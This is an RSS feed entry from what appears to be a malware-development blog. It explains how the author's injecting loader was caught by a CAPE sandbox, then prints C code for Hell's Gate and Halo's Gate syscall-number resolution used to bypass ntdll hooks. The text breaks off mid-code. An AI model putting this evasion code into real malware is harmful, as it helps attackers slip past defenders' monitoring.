<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/feed_style.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="https://www.rssboard.org/media-rss">
  <channel>
    <title>Malware Development on ashtrace | blog</title>
    <link>https://ashtrace.github.io/tags/malware-development/</link>
    <description>Recent content in Malware Development on ashtrace | blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <copyright>Just adhere to [CC BY-NC 4.0](https://creativecommons.org/licenses/by-nc/4.0/)</copyright>
    <lastBuildDate>Sun, 31 May 2026 06:16:51 -0400</lastBuildDate><atom:link href="https://ashtrace.github.io/tags/malware-development/index.xml" rel="self" type="application/rss+xml" /><icon>https://ashtrace.github.io/logo.svg</icon>
    
    
    <item>
      <title>Against Runtime Analysis: Sandboxes, Syscalls and Hooks</title>
      <link>https://ashtrace.github.io/posts/sandboxes_syscalls_and_hooks/</link>
      <pubDate>Sun, 31 May 2026 06:16:51 -0400</pubDate>
      
      <guid>https://ashtrace.github.io/posts/sandboxes_syscalls_and_hooks/</guid>
      <description><![CDATA[<p>While a VirusTotal &lsquo;0&rsquo; score is satisfying, it isn&rsquo;t pragmatic to live in that world, as VT limits itself to static IoCs. Thus, naturally the next challenge was defeating runtime analysis. To build the runtime analysis lab I used <a href="https://github.com/kevoreilly/CAPEv2">CAPEv2 sandbox</a> and then tried to defeat its instrumentation capabilities through Halo&rsquo;s Gate and Indirect Syscalls. I further explored Parent Process Spoofing and Mitigation policies to restrict monitoring DLLs.</p>
<h2 id="installing-cape">Installing CAPE</h2>
<p>While my first choice was to integrate the CAPE environment with my SOC-Lab, nested virtualization was a severe roadblock, so I used a secondary machine to install CAPE on host.</p>
<p>I followed the steps mentioned in the CAPE documentation for <a href="https://capev2.readthedocs.io/en/latest/installation/host/installation.html">Installing CAPE</a> for Ubuntu 22.04 LTS and <a href="https://capev2.readthedocs.io/en/latest/installation/guest/index.html">Preparing the Guest</a> for Windows 10.</p>
<p>I&rsquo;d strongly recommend to use Ubuntu 22.04 LTS as the host OS as I faced challenges with the monolithic installation scripts on other OSs (particularly Kali Linux).</p>
<blockquote>
<p>As I wasn&rsquo;t planning to set up a hardcore malware analysis lab and wanted to just play with the instrumentations, I went with default options. Wherever the scripts asked to change <code>&lt;WOOT&gt;</code>, I used one of the options from the examples attached.</p>
</blockquote>
<h2 id="back-to-the-start">Back to the Start</h2>
<p>I started with the loader I developed by the end of the <a href="https://ashtrace.github.io/posts/stripping_iocs/">last blog</a>. I provided it with the URL to a payload to launch calculator and executable name to launch the child process which I leverage in remote mapping injection and APC injection.</p>
<p>As I detonated the loader, the sandbox easily detected the APC Injection.</p>
<p><img src="./apc-injection.png" alt="apc-injection"></p>
<p>The sandbox drew the entire process tree depicting the child process of <code>notepad.exe</code> created by my loader and the <code>calc.exe</code> executable finally launched at the end.</p>
<p><img src="./netutil-process-tree.png" alt="netutil-process-tree"></p>
<p>Skimming through the function calls traced during analysis, I discovered the sequence that showed the loader&rsquo;s operations as is:</p>
<p><img src="./netutil-nt-function-sequence.png" alt="netutil-nt-function-sequence"></p>
<table>
  <thead>
      <tr>
          <th>Function in Source Code</th>
          <th>Intercepted Call</th>
          <th>Used by the Loader for</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CreateProcessW</td>
          <td>CreateProcessInternalW</td>
          <td>To create the child process from argument #2 (here <code>notepad.exe</code>) in a suspended state for APC Injection</td>
      </tr>
      <tr>
          <td>CreateFileMappingW</td>
          <td>NtCreateSection</td>
          <td>To create a section of memory for remote-mapping injection</td>
      </tr>
      <tr>
          <td>MapViewOfFile</td>
          <td>NtMapViewOfSection</td>
          <td>To map a writable view of memory section from previous call; used to write the payload in parent process</td>
      </tr>
      <tr>
          <td>MapViewOfFile2 / MapViewOfFileNuma2</td>
          <td>NtMapViewOfSection</td>
          <td>To map an executable view of memory section in child process to run the payload written by parent process</td>
      </tr>
      <tr>
          <td>QueueUserAPC</td>
          <td>NtQueueApcThread</td>
          <td>Schedule an asynchronous procedure call to be executed as soon as the child process is removed from the suspended state.</td>
      </tr>
      <tr>
          <td>DebugActiveProcessStop</td>
          <td>NtOpenProcess</td>
          <td>Resume the process from a suspended state (see the <code>PROCESS_SUSPEND_RESUME</code> flag).</td>
      </tr>
  </tbody>
</table>
<p>As you can see that the loader sang as a cuckoo.</p>
<h2 id="deep-within-the-matryoshka-dolls">Deep within the Matryoshka Dolls</h2>
<p>Unlike the WinAPI calls used by us in the source code, almost all the functions intercepted by the sandbox started with <code>Nt</code> although with the same parameters  originally provided by us.</p>
<p>It all starts with the architecture of Microsoft Windows OS. A simple view is as follows (<a href="https://stl-tec.de/tutorials/WinReverseEng/windowsArchitecture/"><em>image credit</em></a>)</p>
<p><img src="./windows-architecture.png" alt="windows-architecture">.</p>
<p>User processes (such as our loader) leverage WinAPI functions provided by Subsystem DLLs (such as <code>KERNEL32.dll</code> providing <code>MapViewOfFile</code>) which build upon the procedures provided by <code>NTDLL.dll</code> (<code>MapViewOfFile</code> using <code>NtMapViewOfSection</code> internally) to provide access to internal features of OS. These procedures provided by <code>NTDLL.dll</code> are aptly prefixed by <code>Nt</code> (or <code>Zw</code>, read more <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines">here</a>) and are called Native API.</p>
<p>The end of a user land function call is designated by the <code>syscall</code> instruction within each of the Native APIs where the control is transferred to kernel mode, which performs tasks and returns the result.</p>
<p>Thus the Native API functions in <code>NTDLL.dll</code> are the ultimate sink where every function lands before the kernel operates on the request and thus the CAPE sandbox leverages this single entry-gate to eavesdrop on the operations by hooking on the function calls just before <code>syscall</code> instruction is executed.</p>
<p>These Native API functions are also called as syscall stubs - <code>syscall</code> being the instruction defining their existence and they are stub because they simply act as a wrapper to call the corresponding kernel routine to perform the required task in the privileged kernel mode. More often than not, these stubs have a generic design. Each kernel routine is defined by a unique number called System Service Number (SSN) or simply syscall number.</p>
<ul>
<li>Copy the function parameter in <code>RCX</code> register to protect against mangling</li>
<li>Move the System Service Number into the <code>EAX</code> register.</li>
<li>Execute <code>SYSCALL</code> to transfer control to the kernel</li>
<li><code>RET</code>urn with the result.</li>
</ul>
<p>Following are syscall stubs for <code>NtMapViewOfSection</code>, <code>ZwAccessCheckAndAuditAlarm</code> , <code>NtUnmapViewOfSection</code> and others.</p>
<p><img src="./ntdll-syscall-stubs.png" alt="ntdll-syscall-stubs"></p>
<h3 id="hooking-onto-you">Hooking onto you</h3>
<p>A function hook replaces the first few instructions from the syscall stub with an unconditional jump (<code>jmp</code> instruction) to an inspection procedure that looks upon and interacts with the parameters passed to the Native API call.</p>
<p>Thus an original stub changes from</p>
<pre tabindex="0"><code>4C:8BD1                          | mov r10,rcx                                    |
B8 50000000                      | mov eax,50                                     | SSN = 0x50
0F05                             | syscall                                        |
C3                               | ret                                            |
</code></pre><p>to</p>
<pre tabindex="0"><code>49:BA 1811A398F77F0000           | mov r10, 7FF798A31118                          | Inspection function address = 0x00007ff798a31118
41:FFE2                          | jmp r10                                        | Always go through the inspection function
</code></pre><h2 id="anti-nt-analysis">Anti Nt-Analysis</h2>
<p>While the SSN for Native API is not constant and may change between each build, it is always allocated incrementally i.e. the first Native API will have SSN 0, followed by SSN 1 and so on &hellip;, this is cleverly used by <a href="https://github.com/jthuraisamy/Syswhispers2"><code>SysWhispers2</code></a> to resolve SSNs.</p>
<p>Notice, in the previous section, how each syscall stub has the same instruction except for the SSN. Thus, each syscall stub has the same assembly bytecode except for the SSN. This can be leveraged to search the entire <code>NTDLL.dll</code> memory region for the exact byte-sequence of <code>0x4c</code>, <code>0x8b</code>, <code>0xd1</code>, <code>0xb8</code> at the start of the syscall-stub.</p>
<p>This serial searching of byte-sequence helps to retrieve the SSN from the Native API&rsquo;s bytecode and is known as the <a href="https://github.com/am0nsec/HellsGate">Hell&rsquo;s Gate</a> approach.</p>
<p>The search logic looks like the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// Quick and dirty fix in case the function has been hooked
</span></span></span><span style="display:flex;"><span>WORD cw <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (TRUE) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// check if syscall, in this case we are too far
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x0f</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x05</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// check if ret, in this case we are also probaly too far
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xc3</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// First opcodes should be :
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">//    MOV R10, RCX
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">//    MOV RCX, &lt;syscall&gt;
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>        BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> cw);
</span></span><span style="display:flex;"><span>        BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> cw);
</span></span><span style="display:flex;"><span>        pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    cw<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>The <code>high &lt;&lt; 8 | low</code> operation helps to reconstruct the SSN number from the 4th and 5th byte of the syscall stub.</p>
<p>But if any Native API has been tampered with hooking, the bytecode comparisons would fail and SSN won&rsquo;t be calculated.</p>
<h3 id="halo-of-the-gods">Halo of the Gods</h3>
<p>While Hell&rsquo;s Gate would help me identify and avoid hooked Native APIs, it does not provide me with a way to retrieve their SSN. Thus, if a function is hooked, there is no way to execute it and my operations stop there.</p>
<p>This problem can be solved by the Halo&rsquo;s Gate approach which combines the SysWhisper2&rsquo;s theory with the Hell&rsquo;s Gate search. As each SSN is allocated in incremental order, on encountering a hooked syscall stub I can search forward beyond the <code>syscall</code> and <code>ret</code>s while counting the numbers of stubs I&rsquo;ve encountered. Wherever I found an unhooked stub with SSN, I just subtract the numbers of stubs I walked from my target function to get here. The same can be done by searching backwards and adding the number of syscall stubs encountered.</p>
<p>A pictorial visualization (generated with AI) of the search is as follows:</p>
<p><img src="./halos-gate.png" alt="halos-gate"></p>
<p>The operation <code>(high &lt;&lt; 8 | low) +/- idx</code> builds upon the Hell&rsquo;s Gate SSN calculation by adding or subtracting the number of indexes one had to move to land to an unhooked stub (counted by <code>idx</code> variable).</p>
<p>Programmatically, the search logic appears as following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (WORD cx <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; cx <span style="color:#f92672">&lt;</span> pImageExportDirectory<span style="color:#f92672">-&gt;</span>NumberOfNames; cx<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    PCHAR pczFunctionName <span style="color:#f92672">=</span> (PCHAR)((PBYTE)pModuleBase <span style="color:#f92672">+</span> pdwAddressOfNames[cx]);
</span></span><span style="display:flex;"><span>    PVOID pFunctionAddress <span style="color:#f92672">=</span> (PBYTE)pModuleBase <span style="color:#f92672">+</span> pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (pczFunctionName <span style="color:#f92672">==</span> TargetFunctionName) {
</span></span><span style="display:flex;"><span>        pVxTableEntry<span style="color:#f92672">-&gt;</span>pAddress <span style="color:#f92672">=</span> pFunctionAddress;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// First opcodes should be :
</span></span></span><span style="display:flex;"><span>        <span style="color:#75715e">//    MOV R10, RCX
</span></span></span><span style="display:flex;"><span>        <span style="color:#75715e">//    MOV RAX, &lt;syscall&gt;
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span>            BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>            pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//if hooked check the neighborhood to find clean syscall
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xe9</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (WORD idx <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; idx <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">500</span>; idx<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall down
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">-</span> idx;
</span></span><span style="display:flex;"><span>                    
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall up
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">+</span> idx;
</span></span><span style="display:flex;"><span>                    
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xe9</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (WORD idx <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; idx <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">500</span>; idx<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall down
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">-</span> idx;
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall up
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
